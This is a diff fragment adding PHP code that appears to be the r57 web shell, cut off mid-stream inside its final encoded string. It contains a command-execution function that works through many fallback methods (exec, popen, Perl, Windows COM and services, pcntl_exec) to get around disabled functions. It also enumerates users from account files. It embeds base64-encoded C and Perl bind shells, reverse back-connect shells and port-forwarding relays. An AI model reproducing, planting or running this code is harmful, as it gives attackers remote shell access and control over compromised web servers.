align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } + +/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/ +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;} +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } + +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} + +function ex($cfe) +{global $unix,$tempdir; + $res = ''; + if (!empty($cfe)) + { + if(@function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(@function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(@function_exists('system')) + { + @ob_start(); + @system('$cfe'); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fread($f,1024); } + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fgets($f,1024); } + } + @pclose($f); + } + elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);} + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);} + } + @proc_close($f); + } + }else{$res = safe_ex($cfe);} + return htmlspecialchars($res); +} + + +function safe_ex($cfe) +{global $unix,$tempdir; + $res = ''; + if (!empty($cfe)) + { + if(extension_loaded('perl')){ + @ob_start(); + $safeperl=new perl(); + $safeperl->eval("system('$cfe')"); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(!$unix && extension_loaded('ffi')) + { + $output=$tempdir.uniqid('NJ'); + $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); + if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);} + else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);} + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix && extension_loaded('win32service')) + { + $output=$tempdir.uniqid('NJ'); + $n_ser=uniqid('NJ'); + if(!@function_exists('escapeshellarg')) + {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));} + else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));} + @win32_start_service($n_ser); + @win32_stop_service($n_ser); + @win32_delete_service($n_ser); + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix && extension_loaded("win32std")) + { + $output=$tempdir.uniqid('NJ'); + if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} + else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix) + { + $output=$tempdir.uniqid('NJ'); + $suntzu = new COM("WScript.Shell"); + if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} + else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} + $res=moreread($output); + @unlink($output); + } + elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) + { + $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; + $output=$tempdir.uniqid('pcntl'); + $pid = @pcntl_fork(); + if ($pid == -1) { + $res .= '[-] Could not children fork. Exit'; + } else if ($pid) { + if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';} + else {$res .= '[-] Error. Command incorrect.';} + } else { + $cfe = array(" -e 'system(\"$cfe > $output\")'"); + if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0); + if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0); + die(); + } + $res=moreread($output); + @unlink($output); + } +/* elseif(1) + { + + } +*/ + } + return htmlspecialchars($res); +} + +function get_users($filename) +{ + $users = $rows = array(); + $rows=@explode("\n",moreread($filename)); + if(!$rows[0]){$rows=@explode("\n",readzlib($filename));} + if(!$rows[0]) return 0; + foreach ($rows as $string) + { + $user = @explode(":",trim($string)); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ''; +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function ps($pr) +{global $unix; +$path = ''; +if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");} +else{$path = ex("tasklist | findstr \"$pr\"");} +if(!empty($path)) { return $path; } else { return false; } +} +function locate($pr) +{ +$path = ''; +$path = ex("locate $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function cf($fname,$text) +{ + if(!morewrite($fname,@base64_decode($text))){err(0);}; +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW 